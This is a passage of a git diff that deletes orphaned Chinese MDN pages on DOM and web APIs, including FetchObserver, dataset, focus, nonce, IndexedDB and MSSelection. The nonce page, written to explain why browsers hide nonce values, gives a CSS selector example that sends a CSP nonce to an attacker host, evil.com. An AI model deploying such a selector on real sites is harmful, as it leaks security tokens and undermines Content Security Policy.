{{SpecName("DOM2 Core", "core.html#ID-527DCFF2", "Entity")}}{{Spec2("DOM2 Core")}}No change
{{SpecName('DOM1', 'level-one-core.html#ID-527DCFF2', 'Entity')}}{{Spec2('DOM1')}}Initial definition
diff --git a/files/zh-cn/orphaned/web/api/fetchobserver/index.html b/files/zh-cn/orphaned/web/api/fetchobserver/index.html deleted file mode 100644 index aa930a2e4a..0000000000 --- a/files/zh-cn/orphaned/web/api/fetchobserver/index.html +++ /dev/null @@ -1,146 +0,0 @@ ---- -title: FetchObserver -slug: orphaned/Web/API/FetchObserver -translation_of: Web/API/FetchObserver -original_slug: Web/API/FetchObserver ---- -
{{draft}}{{APIRef("Fetch API")}}{{SeeCompatTable}}
- -

FetchObserver接口提取API表示观察者对象,它允许您检索关于为获取请求的状态信息。

- -

Properties

- -

FetchObserver接口从其父接口继承属性EventTarget

- -
-
{{domxref("FetchObserver.state")}} {{readonlyInline}}
-
Returns a FetchState enum value indicating the current state of the fetch request.
-
- -

Event handlers

- -
-
{{domxref("FetchObserver.onstatechange")}}
-
Invoked when a {{event("statechange_(cancellable_fetch)", "statechange")}} event fires, i.e. when the state of the fetch request changes.
-
{{domxref("FetchObserver.onrequestprogress")}}
-
Invoked when a {{event("requestprogress")}} event fires, i.e. when the request progresses.
-
{{domxref("FetchObserver.onresponseprogress")}}
-
Invoked when a {{event("responseprogress")}} event fires, i.e. when the download of the response progresses.
-
- -

Methods

- -

The FetchSignal interface inherits methods from its parent interface, {{domxref("EventTarget")}}.

- -

Examples

- -

In the following snippet, we create a new {{domxref("FetchController")}} object, get its signal, and then give the signal to the fetch request via the signal parameter of its init object so the controller can control it. Later on we specify an event listener on a cancel button so that when the button is clicked, we abort the fetch request using {{domxref("FetchController.abort()")}}.

- -

We also specify an observe property inside the fetch request init object — this contains a {{domxref("ObserverCallback")}} object, the sole purpose of which is to provide a callback function that runs when the fetch request runs. This returns a {{domxref("FetchObserver")}} object that can be used to retrieve information concerning the status of a fetch request.

- -

Here we use {{domxref("FetchController.responseprogress")}} and {{domxref("FetchController.onstatechange")}} event handlers to respectively fill up a progress bar as more of the reponse downloads, and to determine when the download has completed and display a message to let the user know.

- -

Note that these event handlers are not yet supported anywhere.

- -
var controller = new FetchController();
-var signal = controller.signal;
-
-downloadBtn.addEventListener('click', function() {
-  fetch(url, {
-    signal,
-    observe(observer) {
-      observer.onresponseprogress = function(e) {
-        progress.max = e.total;
-        progress.value = e.loaded;
-      }
-
-      observer.onstatechange = function() {
-        if (observer.state = 'complete') {
-          reports.textContent = 'Download complete';
-        }
-      }
-    }
-  }).then( ... ) // do something with the response
-});
-
-cancelBtn.addEventListener('click', function() {
-  controller.abort();
-});
- -

You can find a work-in-progress demo showing usage of FetchObserver on GitHub (see the source code and the live example).

- -

Specifications

- -

Not part of a specification yet.

- -

Browser compatibility

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support -

{{CompatNo}}

-
{{CompatNo}}{{CompatNo}}[1]{{CompatNo}} -

{{CompatNo}}

-
{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

[1] Hidden behind a preference in 55+ Nightly. In about:config, you need to create two new boolean prefs — dom.fetchObserver.enabled and dom.fetchController.enabled — and set the values of both to true.

- -

See also

- - diff --git a/files/zh-cn/orphaned/web/api/fullscreenoptions/index.html b/files/zh-cn/orphaned/web/api/fullscreenoptions/index.html deleted file mode 100644 index c3328c99b2..0000000000 --- a/files/zh-cn/orphaned/web/api/fullscreenoptions/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: FullscreenOptions -slug: orphaned/Web/API/FullscreenOptions -translation_of: Web/API/FullscreenOptions -original_slug: Web/API/FullscreenOptions ---- -

{{APIRef("Fullscreen API")}}

- -

当调用{{DOMxRef("Element.requestFullscreen", "requestFullscreen()")}} 元素以将该元素置于全屏模式时,使用 FullscreenOptions 字典提供配置选项。

- -

属性

- -
-
{{DOMxRef("FullscreenOptions.navigationUI", "navigationUI")}}{{Optional_Inline}}
-
在元素处于全屏模式时,控制是否保持浏览器用户界面元素可见的字符串。默认的“auto”让浏览器做出这个决定。
-
- -

浏览器兼容性

- -

{{Compat("api.FullscreenOptions")}}

- -

另请参阅

- - diff --git a/files/zh-cn/orphaned/web/api/htmlelement/forcespellcheck/index.html b/files/zh-cn/orphaned/web/api/htmlelement/forcespellcheck/index.html deleted file mode 100644 index cde999ef48..0000000000 --- a/files/zh-cn/orphaned/web/api/htmlelement/forcespellcheck/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: HTMLElement.forceSpellCheck() -slug: orphaned/Web/API/HTMLElement/forceSpellCheck -translation_of: Web/API/HTMLElement/forceSpellCheck -original_slug: Web/API/HTMLElement/forceSpellCheck ---- -

{{ APIRef("HTML DOM") }}{{SeeCompatTable}}

- -

强制对HTML元素进行拼写和语法检查,即使用户没有关注元素。此方法将覆盖浏览器的行为。检查的界面,例如是否出现红色下划线,由浏览器确定。

- -

Syntax

- -
element.forceSpellCheck()
- -

Specifications

- - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'interaction.html#dom-forcespellcheck', 'HTMLElement.forceSpellCheck()')}}{{Spec2('HTML WHATWG')}}Initial definition
{{SpecName('HTML5.1', 'editing.html#dom-forcespellcheck', 'HTMLElement.forceSpellCheck')}}{{Spec2('HTML5.1')}}First W3C snapshot of {{SpecName('HTML WHATWG')}} with the method defined in it.
- -

Browser compatibility

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

See Also

- - diff --git a/files/zh-cn/orphaned/web/api/htmlhyperlinkelementutils/index.html b/files/zh-cn/orphaned/web/api/htmlhyperlinkelementutils/index.html deleted file mode 100644 index 399a1398da..0000000000 --- a/files/zh-cn/orphaned/web/api/htmlhyperlinkelementutils/index.html +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: URLUtils -slug: orphaned/Web/API/HTMLHyperlinkElementUtils -translation_of: Web/API/HTMLHyperlinkElementUtils -original_slug: Web/API/HTMLHyperlinkElementUtils ---- -

{{ApiRef("URL API")}}{{SeeCompatTable}}

- -

The HTMLHyperlinkElementUtils mixin defines utility methods and properties to work with {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}}. These utilities allow to deal with common features like URLs.

- -

There are no objects of this type, but several objects {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}} implement it.

- -

属性

- -
-

注意:This interface doesn't inherit any property.

-
- -
-
{{domxref("HTMLHyperlinkElementUtils.href")}}
-
This is a {{domxref("USVString")}} containing the whole URL.
-
{{domxref("HTMLHyperlinkElementUtils.protocol")}}
-
This is a {{domxref("USVString")}} containing the protocol scheme of the URL, including the final ':'.
-
{{domxref("HTMLHyperlinkElementUtils.host")}}
-
This is a {{domxref("USVString")}} containing the host, that is the hostname, and then, if the port of the URL is not empty (which can happen because it was not specified or because it was specified to be the default port of the URL's scheme), a ':', and the port of the URL.
-
{{domxref("HTMLHyperlinkElementUtils.hostname")}}
-
This is a {{domxref("USVString")}} containing the domain of the URL.
-
{{domxref("HTMLHyperlinkElementUtils.port")}}
-
This is a {{domxref("USVString")}} containing the port number of the URL.
-
{{domxref("HTMLHyperlinkElementUtils.pathname")}}
-
This is a {{domxref("USVString")}} containing an initial '/' followed by the path of the URL.
-
{{domxref("HTMLHyperlinkElementUtils.search")}}
-
This is a {{domxref("USVString")}} containing a '?' followed by the parameters of the URL.
-
{{domxref("HTMLHyperlinkElementUtils.hash")}}
-
This is a {{domxref("USVString")}} containing a '#' followed by the fragment identifier of the URL.
-
{{domxref("HTMLHyperlinkElementUtils.username")}}
-
This is a {{domxref("USVString")}} containing the username specified before the domain name.
-
{{domxref("HTMLHyperlinkElementUtils.password")}}
-
This is a {{domxref("USVString")}} containing the password specified before the domain name.
-
{{domxref("HTMLHyperlinkElementUtils.origin")}} {{readonlyInline}}
-
This returns a {{domxref("USVString")}} containing the origin of the URL (that is its scheme, its domain and its port).
-
- -

方法

- -
-

注意:This interface doesn't inherit any method.

-
- -
-
{{domxref("HTMLHyperlinkElementUtils.toString()")}}
-
This returns a {{domxref("USVString")}} containing the whole URL. It is a synonym for {{domxref("HTMLHyperlinkElementUtils.href")}}, though it can't be used to modify the value.
-
- -

规范

- - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('HTML WHATWG', '#htmlhyperlinkelementutils', 'HTMLHyperlinkElementUtils')}}{{Spec2('HTML WHATWG')}}Initial definition
- -

浏览器兼容性

- - - -

{{Compat("api.HTMLHyperlinkElementUtils")}}

- -

参见

- - diff --git a/files/zh-cn/orphaned/web/api/htmlorforeignelement/blur/index.html b/files/zh-cn/orphaned/web/api/htmlorforeignelement/blur/index.html deleted file mode 100644 index 98efb73c06..0000000000 --- a/files/zh-cn/orphaned/web/api/htmlorforeignelement/blur/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: HTMLElement.blur() -slug: orphaned/Web/API/HTMLOrForeignElement/blur -tags: - - API - - HTML DOM - - HTMLElement - - Method - - Reference -translation_of: Web/API/HTMLOrForeignElement/blur -original_slug: Web/API/HTMLOrForeignElement/blur ---- -

{{ APIRef() }}

-

概述

-

blur方法用来移除当前元素所获得的键盘焦点.

-

语法

-
element.blur()
-
-

规范

-

blur

-

相关链接

- -

{{ languages( { "fr": "fr/DOM/element.blur", "pl": "pl/DOM/element.blur", "en": "en/DOM/element.blur" } ) }}

diff --git a/files/zh-cn/orphaned/web/api/htmlorforeignelement/dataset/index.html b/files/zh-cn/orphaned/web/api/htmlorforeignelement/dataset/index.html deleted file mode 100644 index 6607ae59b3..0000000000 --- a/files/zh-cn/orphaned/web/api/htmlorforeignelement/dataset/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: HTMLElement.dataset -slug: orphaned/Web/API/HTMLOrForeignElement/dataset -tags: - - HTMLElement.dataset -translation_of: Web/API/HTMLOrForeignElement/dataset -original_slug: Web/API/HTMLOrForeignElement/dataset ---- -

{{ APIRef }}

- -

HTMLElement.dataset属性允许无论是在读取模式和写入模式下访问在 HTML或 DOM中的元素上设置的所有自定义数据属性(data-*)集。

- -

它是一个DOMString的映射,每个自定义数据属性的一个条目。

- -

请注意,dataset 属性本身可以被读取,但不能直接写入。相反,所有的写入必须是它的“属性”,这反过来表示数据属性。

- -

还要注意,一个HTML data-attribute 及其对应的DOM dataset.property 不共享相同的名称,但它们总是相似的:

- - - -

 

- -

自定义的数据属性名称是以 data- 开头的。 它必须要遵循 the production rule of xml names 规则,该规则是说它只可以包含字母,数字和下面的字符: dash (-), dot (.), colon (:), underscore (_)。此外不应包含ASCII 码大写字母。

- -

自定义的data 属性名称转化成 {{ domxref("DOMStringMap") }} 的键值时会遵循下面的规则:

- - - -

与此相反的转换,即将键值转换为一个属性的名称,会遵循下面的规则:

- - - -

上面规则的约束是为了保证这两种转换是正好相反的转换。

- -

例如,属性名称 data-abc-def 与键值 abcDef 相对应。

- -

语法

- -
string = element.dataset.camelCasedName;
-element.dataset.camelCasedName = string;
- -

实例

- -
<div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>John Doe
-</div>
-
-var el = document.querySelector('#user');
-
-// el.id == 'user'
-// el.dataset.id === '1234567890'
-// el.dataset.user === 'johndoe'
-// el.dataset.dateOfBirth === ''
-
-el.dataset.dateOfBirth = '1960-10-03'; // set the DOB.
-
-// 'someDataAttr' in el.dataset === false
-
-el.dataset.someDataAttr = 'mydata';
-// 'someDataAttr' in el.dataset === true
-
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support8{{ CompatGeckoDesktop("6.0") }}1111.106
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support---------------
-
- -

 

diff --git a/files/zh-cn/orphaned/web/api/htmlorforeignelement/focus/index.html b/files/zh-cn/orphaned/web/api/htmlorforeignelement/focus/index.html deleted file mode 100644 index 2e465a6b0a..0000000000 --- a/files/zh-cn/orphaned/web/api/htmlorforeignelement/focus/index.html +++ /dev/null @@ -1,159 +0,0 @@ ---- -title: HTMLElement.focus() -slug: orphaned/Web/API/HTMLOrForeignElement/focus -tags: - - API - - 参考 - - 方法 - - 焦点 -translation_of: Web/API/HTMLOrForeignElement/focus -original_slug: Web/API/HTMLOrForeignElement/focus ---- -
{{ APIRef("HTML DOM") }}
- -

HTMLElement.focus() 方法用于设置焦点,如果被指定的元素可以获取到焦点,焦点就会被设置到该元素上。得到焦点的元素会作为键盘导航时的当前元素/基准元素,也会接收到相应的键盘事件等事件。

- -

语法

- -
element.focus(options); // Object parameter
- -

参数

- -
-
options {{optional_inline}}
-
An optional object providing options to control aspects of the focusing process. This object may contain the following property:
-
-
-
preventScroll {{optional_inline}}
-
A Boolean value indicating whether or not the browser should scroll the document to bring the newly-focused element into view. A value of false for preventScroll (the default) means that the browser will scroll the element into view after focusing it. If preventScroll is set to true, no scrolling will occur.
-
-
-
- -

示例

- -

将焦点设置到文本框上

- -

JavaScript

- -
focusMethod = function getFocus() {
-  document.getElementById("myTextField").focus();
-}
- -

HTML

- -
<input type="text" id="myTextField" value="Text field.">
-<p></p>
-<button type="button" onclick="focusMethod()">点这里将焦点设置到文本框上!</button>
-
- -

结果

- -

{{ EmbedLiveSample('Focus_on_a_text_field') }}

- -

将焦点设置到按钮上

- -

JavaScript

- -
focusMethod = function getFocus() {
-  document.getElementById("myButton").focus();
-}
- -

HTML

- -
<button type="button" id="myButton">Click Me!</button>
-<p></p>
-<button type="button" onclick="focusMethod()">点这里将焦点设置到按钮上!</button>
- -

结果

- -

{{ EmbedLiveSample('Focus_on_a_button') }}

- -

Focus with focusOption

- -

JavaScript

- -
focusScrollMethod = function getFocus() {
-  document.getElementById("myButton").focus({preventScroll:false});
-}
-focusNoScrollMethod = function getFocusWithoutScrolling() {
-  document.getElementById("myButton").focus({preventScroll:true});
-}
-
-
- -

HTML

- -
<button type="button" onclick="focusScrollMethod()">Click me to focus on the button!</button>
-<button type="button" onclick="focusNoScrollMethod()">Click me to focus on the button without scrolling!</button>
-
-<div id="container" style="height: 1000px; width: 1000px;">
-<button type="button" id="myButton" style="margin-top: 500px;">Click Me!</button>
-</div>
-
-
- -

结果

- -

{{ EmbedLiveSample('Focus_prevent_scroll') }}

- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('HTML WHATWG', 'editing.html#dom-focus', 'focus')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1', 'editing.html#focus()-0', 'focus')}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C', 'editing.html#dom-focus', 'focus')}}{{Spec2('HTML5 W3C')}}
{{SpecName('DOM2 HTML', 'html.html#ID-32130014', 'focus')}}{{Spec2('DOM2 HTML')}}
{{SpecName('DOM1', 'level-one-html.html#method-focus', 'focus')}}{{Spec2('DOM1')}}
- -

备注

- - - -

浏览器兼容性

- - - -

{{Compat("api.HTMLElement.focus")}}

- -

参见

- - diff --git a/files/zh-cn/orphaned/web/api/htmlorforeignelement/nonce/index.html b/files/zh-cn/orphaned/web/api/htmlorforeignelement/nonce/index.html deleted file mode 100644 index 9b3c39fbd4..0000000000 --- a/files/zh-cn/orphaned/web/api/htmlorforeignelement/nonce/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: HTMLElement.nonce -slug: orphaned/Web/API/HTMLOrForeignElement/nonce -tags: - - API - - nonce - - 内容安全策略 - - 实验性 - - 属性 -translation_of: Web/API/HTMLOrForeignElement/nonce -original_slug: Web/API/HTMLOrForeignElement/nonce ---- -

{{SeeCompatTable}}{{APIRef("HTML DOM")}}

- -

{{domxref("HTMLElement")}} 接口的 nonce 属性返回只使用一次的加密数字,被内容安全政策用来决定这次请求是否被允许处理。

- -

在接下来的实现中,有nonce属性的元素只能在脚本中使用(不可以在其他渠道使用,比如css属性选择器)。

- -

语法

- -
var nonce = HTMLElement.nonce
-HTMLElement.nonce = nonce
- -

访问nonce属性值

- -

以前,并不是所有的浏览器都支持 nonce IDL属性,因此在实际应用场景中,尝试使用getAttribute 作为备选:

- -
let nonce = script['nonce'] || script.getAttribute('nonce');
- -

然而,最新的浏览器版本都隐藏了 nonce 值(返回一个空值)。IDL属(script['nonce'])成为唯一的访问方式。

- -

隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值,比如下面这种方式:

- -
script[nonce~=whatever] {
-  background: url("https://evil.com/nonce?whatever");
-}
- -

说明

- - - - - - - - - - - - - - -
说明状态注释
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}{{Spec2('HTML WHATWG')}}初始定义
- -

支持的浏览器

- -
-

{{Compat("api.HTMLElement.nonce")}}

-
diff --git a/files/zh-cn/orphaned/web/api/htmlorforeignelement/tabindex/index.html b/files/zh-cn/orphaned/web/api/htmlorforeignelement/tabindex/index.html deleted file mode 100644 index 576b630344..0000000000 --- a/files/zh-cn/orphaned/web/api/htmlorforeignelement/tabindex/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: HTMLElement.tabIndex -slug: orphaned/Web/API/HTMLOrForeignElement/tabIndex -translation_of: Web/API/HTMLOrForeignElement/tabIndex -original_slug: Web/API/HTMLOrForeignElement/tabIndex ---- -
-
{{ APIRef("HTML DOM") }}
-
- -

概述

- -

获取或设置当前元素的tab键激活顺序.

- -

语法

- -
element.tabIndex = index index = element.tabIndex
-
- -

参数

- - - -

Tab键的遍历顺序是这样的:

- -
    -
  1. 对于tabIndex值为正数的元素,如果多个元素的tabIndex值相同,则以他们出现在字符流中的次序来遍历;否则按tabIndex值由小到大的顺序来遍历。
  2. -
  3. 对于不支持tabIndex属性或支持tabIndex属性并将其赋值为0的元素,按照他们出现在字符流中的次序来遍历。
  4. -
  5. 处于不可用状态的元素不会被遍历到。
  6. -
- -

支持tabIndex属性的元素有:a,area,button,input,object,select和textarea

- -

tabIndex的值不需要是连续的,也不需要以某个特定值开始。

- -

例子

- -
var b1 = document.getElementById("button1");
-b1.tabIndex = 1;
-
- -

规范

- -

W3C DOM Level 2 HTML tabIndex

- -

了解更多,请查看: The solution: changes to standard behavior of tabindex

- -

{{ languages( { "ja": "ja/DOM/element.tabIndex", "fr": "fr/DOM/element.tabIndex", "pl": "pl/DOM/element.tabIndex" , "en": "en/DOM/element.tabIndex" } ) }}

diff --git a/files/zh-cn/orphaned/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html b/files/zh-cn/orphaned/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html deleted file mode 100644 index 3d61520d83..0000000000 --- a/files/zh-cn/orphaned/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html +++ /dev/null @@ -1,205 +0,0 @@ ---- -title: 基本概念 -slug: orphaned/Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB -tags: - - IndexedDB 总述 -translation_of: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB -original_slug: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB ---- -

{{DefaultAPISidebar("IndexedDB")}}

- -
-

IndexedDB 是一种在用户浏览器中持久存储数据的方法。它允许您不考虑网络可用性,创建具有丰富查询能力的可离线 Web 应用程序。IndexedDB 对于存储大量数据的应用程序(例如借阅库中的 DVD 目录)和不需要持久 Internet 连接的应用程序(例如邮件客户端、待办事项列表或记事本)很有用。

-
- -

关于本文档

- -

本简介讨论了 IndexedDB 中的基本概念和术语。为您提供了概览并解释了关键概念。

- -

您会发现以下非常有用的内容:

- - - -

 IndexedDB概况

- -

使用IndexedDB,你可以使用一个key作为索引进行存储或者获取数据。 你可以在事务(transaction)中完成对数据的修改。和大多数web存储解决方案相同,indexedDB也遵从同源协议(same-origin policy). 所以你只能访问同域中存储的数据,而不能访问其他域的。

- -

IndexedDB 是一种异步(asynchronous) API,异步API适用于大多数情况,包括Web Workers。因为在Web Workers上的使用,它过去也有一个同步(synchronous)的版本,但是因为缺少web社区的支持,它已经被从规范中移除了。

- -

IndexedDB 过去有一个竞争规范—— WebSQL 数据库,但是W3C组织在2010年11月18日废弃了webSql。尽管两者都是存储的解决方案,但是他们提供的不是同样的功能。IndexedDB 和WebSQL的不同点在于WebSQL 是关系型数据库访问系统,IndexedDB 是索引表系统(key-value型)。

- -

基本概念

- -

如果你因为使用其他类型数据库有某些固定思维,那么你在使用IndexedDB的时候可能会感到困惑,所以请牢记以下重要的概念:

- - - -

名词解释

- -

本节定义并解释了IndexedDB API中所使用的术语

- -

数据库

- -
-
数据库(database)
-
一个信息库,通常包含一个或多个 object stores. 每个数据库必须包含以下内容:
-
-
    -
  • 名字(Name)。它标识了一个特定源中的数据库,并且在数据库的整个生命周期内保持不变。  此名字可以为任意字符串值(包括空字符串)。
  • -
  • 当前版本(version)。当一个数据库首次创建时,它的 version 为1,除非另外指定. 每个数据库在任意时刻只能有一个 version。
  • -
-
-
持久性(durable)
-
在 Firefox 中,IndexedDB 是持久的,也就是说在一个读写事务中,一旦 IDBTransaction.oncomplete 事件被触发,就代表着数据已经确保被写入磁盘中了。
-
从 Firfox 40 起,IndexedDB 事务放松了对持久性的保证以提高性能(参见 Bug1112702),这与其他支持 IndexedDB 的浏览器的处理方式相同。在这种情况下,当操作系统被告知去写入数据后 complete 事件便被触发,但此时数据可能还没有真正的写入磁盘。事件触发因此变得更快,但这样会有极小的机会发生以下情况:如果操作系统崩溃或在数据被写入磁盘前断电,那么整个事务都将丢失。由于这种灾难事件是罕见的,大多数使用者并不需要过分担心。
-
对象仓库(object store)
-
-

数据在数据库中存储的方式, 数据以键值对形式被对象仓库永久持有。对象仓库中的的数据以 keys 升序排列。

- -

每一个对象仓库在同一个数据库中必须有唯一的名字。对象存储可以有一个 key generator 和一个 key path如果对象仓库有 key path,则使用 in-line keys; 否则使用 out-of-line keys

- -

关于对象仓库的详细文档,请参考 IDBObjectStore 或者 IDBObjectStoreSync

-
-
版本(version)
-
当第一次创建一个数据库,它的版本为整型1。每个数据库依次有一个版本号; 一个数据库不能同时存在多个版本号。改变版本的唯一方法是通过一个比当前版本号更高的值去打开数据库。这会开启一个 VERSION_CHANGE 事务并且触发 upgradeneeded 事件。只有在该事件的处理函数中才能更新数据库模式。
-
注意:这里的描述以最新规范为准,这些规范可能只在最新的浏览器中实现了。老旧的浏览器实现了现在已弃用和移除的 IDBDataBase.setVersion() 方法。
-
数据库连接(database connection)
-
通过打开数据库创建的操作。一个给定的数据库可以同时拥有多个连接。
-
事务(transaction)
-
在一个特定的数据库上,一组具备原子性和持久性的数据访问和数据修改的操作。它是你与数据库交互的方式。并且,任何对于数据库中的数据读和修改的操作只能在事务中进行。
-
-

一个数据库连接可以拥有多个与之关联的事务,只要进行写操作事务的作用域不相互重合。事务的作用域在事务被创建时就被确定,指定事务能够进行交互的对象仓库(object store),作用域一旦被确定就会在整个生命周期中保持不变。举个例子,如果一个数据库连接已经有了一个进行写操作的事务,其作用域覆盖 flyingMonkey 对象仓库,你可以开启新的事务其作用于 unicornCentaurunicornPegasus 对象仓库。对于读操作的事务,你可以同时拥有多个,即使他们有重叠的作用域。

- -

事务被期望拥有较短的生命周期,所以浏览器会终止一个消耗时间过长的事务,为了释放存储资源,运行过久的事务会被锁定。你可以中断一个事务,来回滚事务中对数据库进行的操作。并且你甚至不需要等待事务开始或激活就可以中断它。

- -

事务有三种模式:读写、只读和版本变更。创建和删除对象仓库(object store)的唯一方法就是通过调用版本变更事务。了解更多关于事务类型的内容,请参考 IndexedDB

- -

因为所有的事情都在事务中发生,所以它是 IndexedDB 中非常重要的一个概念。了解更多关于事务,尤其是关于它和版本控制的关联,查看 IDBTransaction 中的参考文档。关于同步接口的文档,查看 IDBTransactionSync

-
-
请求(request)
-
在数据库上进行读写操作完成后的操作。每一个请求代表一个读或写操作。
-
索引(index)
-
-

一个对象仓库,专门用来查找另一个对象仓库(object store)中的记录,其中被查找的对象仓库被称为引用对象仓库。索引(index)是一个稳定的键值对(key-value)存储,其记录中的值(value)是引用对象仓库记录中的键(key)。当引用对象仓库中的记录新增、更新或删除时,索引中的记录会自动的进行粒子性增加。索引中的每一条记录只能指向引用对象仓库中的一条记录,但多个索引可以引用同一个对象仓库。当对象仓库发生改变时,所有引用该对象仓库的引用均会自动更新。

- -

可选地,你也可以适用键(key)再对象仓库中查找记录。

- -

了解更多关于如何适用索引,查看使用 IndexedDB。index 的参考文档查看 IDBKeyRange

-
-
- -

键和值

- -
-
键(key)
-
在对象仓库中阻止和检索被存储起来的值的数据值。数据仓库的键来源于以下三个方式之一:键生成器、键路径和显式指定的值。键必须是一种能够比较大小的数据类型。在同一个对象仓库中每条记录必须有一个独一无二的键,所以你不能在同一个对象仓库中为多个记录设置同样的键。
-
-

键可以是以下数据类型:字符串、日期、浮点和数组。对于数组,键的取值可以从空数组到无穷。并且你可以使用嵌套数组。注意,在 Firefox 11 之前的版本键只接受字符串和整形。

- -

可选地,你也可以通过索引(index)来查找记录。

-
-
键生成器(key generator)
-
一种生成有序键的机制。如果一个对象仓库并不具备一个键生成器,那么应用程序必须为被存储的记录提供键。生成器在仓库之间并不共享。它更多的是浏览器的实现细节,因为在 Web 开发中你并不会真正的去创建或访问键生成器。
-
内键(in-line key)
-
作为存储值一部分的键。内键由键路径(key path)查找。内键由生成器生成。当内键生成后,它会被键路径存储在值中,它也可以被当作键使用。
-
外键(out-of-line key)
-
与值分开存储的键。
-
键路径(key path)
-
指定浏览器如何从对象仓库或索引存储的值中提取键。一个合法的键路径可以是以下形式:一个空字符串,一个 JavasScript 标识符,或由句点分割的多个 JavaScript 标识符。但不能包括空格。
-
值(value)
-
每条记录包含一个值,该值可以包含任何 JavaScript 表达式,包括:布尔数字字符串日期对象数组正则未定义和 null。
-
-

对于对象和数组,它们的属性和值也可以是任意合法的值。

- -

规范允许你存储文件和二进制对象,但该标准只被 Firefox 11+ 实现。

-
-
- -

范围和作用域

- -
-
作用域(scope)
-
事务所作用的一组对象仓库或索引。只读事务的作用域可以相互重叠并同时执行操作。但写操作事务的作用域不可以相互重叠。但你仍然可以同时开启多个拥有相同作用域的事务,只要保证他们的操作不会同时执行。
-
游标(cursor)
-
在键的某个范围内迭代查询多条记录的机制。游标有一个指向正在被迭代的对象仓库或索引的源。它处于该范围内的一个位置,并按照键的顺序正向或逆向的移动。有关游标的参考文档,查看 IDBCursorIDBCursorSync
-
键范围(key range)
-
用做键的数据类型上的连续的间隔。使用键或键的某个范围可以从对象仓库和索引中读取记录。你可以通过上限和下限设置和筛选范围。比如,你可以遍历 x 和 y 之间所有的键值。
-
有关键范围的参考文档,查看 IDBKeyRange.
-
- -

局限性

- -

以下情况不适合使用IndexedDB

- - - -

注意,在以下情况下,数据库可能被清除:

- - - -

确切的环境和浏览器特性会随着时间改变,但浏览器厂商通常会遵循尽最大努力保留数据的理念。

- -

下一步

- -

查看如何使用的文档: Using IndexedDB.

- -

相关文章

- - diff --git a/files/zh-cn/orphaned/web/api/msselection/index.html b/files/zh-cn/orphaned/web/api/msselection/index.html deleted file mode 100644 index ecbd8817e3..0000000000 --- a/files/zh-cn/orphaned/web/api/msselection/index.html +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: MSSelection -slug: orphaned/Web/API/MSSelection -tags: - - API - - DHTML - - DOM - - MSSelection -original_slug: Web/API/MSSelection ---- -
{{ ApiRef("DOM") }}{{Non-standard_Header}}
- -
-

IE Only

-该属性是IE专有的。尽管IE很好地支持它,但大部分其它浏览器已经不支持该属性。该属性仅应在需兼容低版本IE时作为其中一种方案,而不是在跨浏览器的脚本中完全依赖它。
- -

MSSelection 对象表示用户选择的文本范围或插入光标(Caret)的当前位置,类似于标准定义的 {{domxref("Selection")}} 接口。它主要通过配套的 {{domxref("TextRange")}} 接口进行操作。

- -

该接口从IE4开始实现,但直到IE9时添加了对标准 Selection 接口的支持时,为了区分它才被命名为 MSSelection。可供修改和使用的 MSSelection 可通过 {{domxref("document.selection")}} 属性获取,但是这在IE11被彻底移除。

- -

注意,在非IE浏览器不支持该接口,可使用替代的标准 {{domxref("Selection")}} 接口。

- -

属性

- -
-
{{domxref("MSSelection.type")}}{{ReadOnlyInline}}
-
-

返回选中区域的类型。

-
-
- -

方法

- -
-
{{domxref("MSSelection.empty()")}}
-
取消当前选中区,将选中区类型设置为 none
-
{{domxref("MSSelection.clear()")}}
-
清除选中区的内容,将选中区类型设置为 none。注意,该方法可以删除不可编辑的元素。
-
{{domxref("MSSelection.createRange()")}}
-
在当前选中区上创建并返回一个 TextRange,其内容和当前选区一致。返回的区域在修改时不会直接作用到选区上,除非使用 {{domxref("TextRange.select()")}} 方法。
-
{{domxref("MSSelection.createRangeCollection()")}}
-
